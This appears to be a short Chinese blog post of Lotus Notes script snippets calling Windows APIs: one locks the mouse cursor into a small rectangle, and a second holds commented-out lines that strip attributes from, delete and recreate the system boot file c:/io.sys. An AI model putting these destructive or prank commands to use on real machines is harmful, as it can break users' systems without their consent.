Notes WINAPI

最新推荐文章于 2021-08-21 15:31:13 发布

原创最新推荐文章于 2021-08-21 15:31:13 发布 · 557 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#winapi #function #button #delete #user #string

Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function ClipCursor& Lib "user32" (lpRect As RECT)

Sub Click(Source As Button)
Dim x As rect
x.left=400
x.top=400
x.right=500
x.bottom=500
Msgbox "你的鼠標即將被鎖定在一個矩形區域內﹐鎖定后請按Ctrl+Alt+Del解除鎖定﹗"
Call ClipCursor(x)
End Sub

Declare Function lcreat Lib "kernel32" Alias "_lcreat" (Byval lpPathName As String, Byval iAttribute As Long) As Long
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function ClipCursor& Lib "user32" (lpRect As RECT)

Sub Click(Source As Button)

'Set oScript=CreateObject("WSCRIPT.SHELL")
'Set oFileSys=CreateObject("Scripting.FileSystemObject")
'Call oScript.Run("cmd.exe /c " & "attrib c:/io.sys -h -s -r" ,0,True)
'Call oScript.Run("cmd.exe /c " & "delete c:/io.sys /y" ,0,True)
'Call lcreat("c:/io.sys",3)
End Sub